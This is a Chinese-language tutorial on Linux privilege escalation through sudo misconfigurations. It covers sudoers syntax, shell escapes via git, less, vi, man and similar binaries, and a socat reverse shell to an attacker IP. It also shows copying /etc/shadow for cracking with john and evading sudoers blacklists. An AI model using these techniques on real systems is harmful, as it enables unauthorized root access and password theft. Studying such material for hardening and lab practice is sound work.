sudo和su的区别
1,sudo是以root权限去运行一个命令,su是去切换用户的身份
2.sudo只要知道自己的密码即可,su需要知道被切换用户的密码。
sudoers文件
/etc/sudoers文件,是sudo权限的配置文件,当使用sudo接命令时,linux系统会在sudoers文件中查找当前用户,根据当前用户权限配置来决定是否可以运行香菇按命令。
例如添加test用户的相关配置
格式如下
test(用户名) ALL(主机)=(ALL(用户):ALL(组)) tag(标签):ALL(执行命令的路径)
sudo su && sudo bash
当没有对普通用户做严格的限制时,或者配置权限过大时,则可以尝试sudo su来切换到root权限
当visudo命令不能用时,限制了部分命令,则可以尝试vim是否被禁用,sudo vim 也可以编辑 sudoers文件,且wq!可以保存成功
git
当sudo允许执行git命令时,可以利用git进行提权
两种方法提权
1:
sudo git help config
!/bin/bash

2:
sudo git -p help
!/bin/bash
其他命令
也有很多其他命令可以用来提权,和之前的suid提权中说的命令类似,例如sudo允许find命令,则可以通过exec参数来切换到root权限
这里添加新用户a 并修改sudoers文件,允许部分命令,内容如下
a ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi
相关提权方法如下
find :exec 参数用来指定搜索结果的处理命令,需要以分号结尾,分号再命令行有特殊含义,要用\进行转义
perl: e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash
python: c参数可以在命令行执行python代码,pty库是一个伪终端库,他的spawn会调用指定的程序
less:输入sudo less /etc/hosts命令浏览文件内容是,到底部输入!bash后回车,会获得一个root权限的shell

awk:通过调用linux的system函数来打开bash
man:通过sudo man man 命令来打开man的受用手册,同时会进入编辑行,输入!bash获得一个root权限的shell
vi:sudo vi会进入vi默认页,输入!bash回车获得一个root权限的shell

脚本:
如果sudoers定义了可执行某个脚本,则我们可以把返回的shell的代码添加进去。
例如有个运维需要的aa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可



提权成功
应用程序:
除了上面的一些二进制文件,一些应用程序也可以获取root权限,例如env,ftp,socat,scp

env 通过env环境变量来获取root权限
ftp 通过ftp来进入bash获取root权限
socat 通过socat客户端连接攻击机,攻击机可获得root权限
客户端执行
sudo socat exec:’sh -li’,pty,stderr,setsid,sigint,sane tcp:172.16.58.154:4444
攻击机执行
socat file:tty,raw,echo=0 tcp-listen:4444
客户端
攻击机
scp
scp是一个安全复制文件的命令,他无法获取一个shell,但可以用来复制一些系统的敏感文件,例如/etc/passwd、/etc/shadow等
可以将passwd文件传输到指定机器的root/Desktop下,然后在对密码进行破解等操作
使用john爆破shadow文件
黑名单绕过



如果碰到sudoers文件使用黑名单的情况,比如权限禁用sudo使用find命令,但是都在ALL基础上设置的,那么可以cp把find复制到其他目录运行
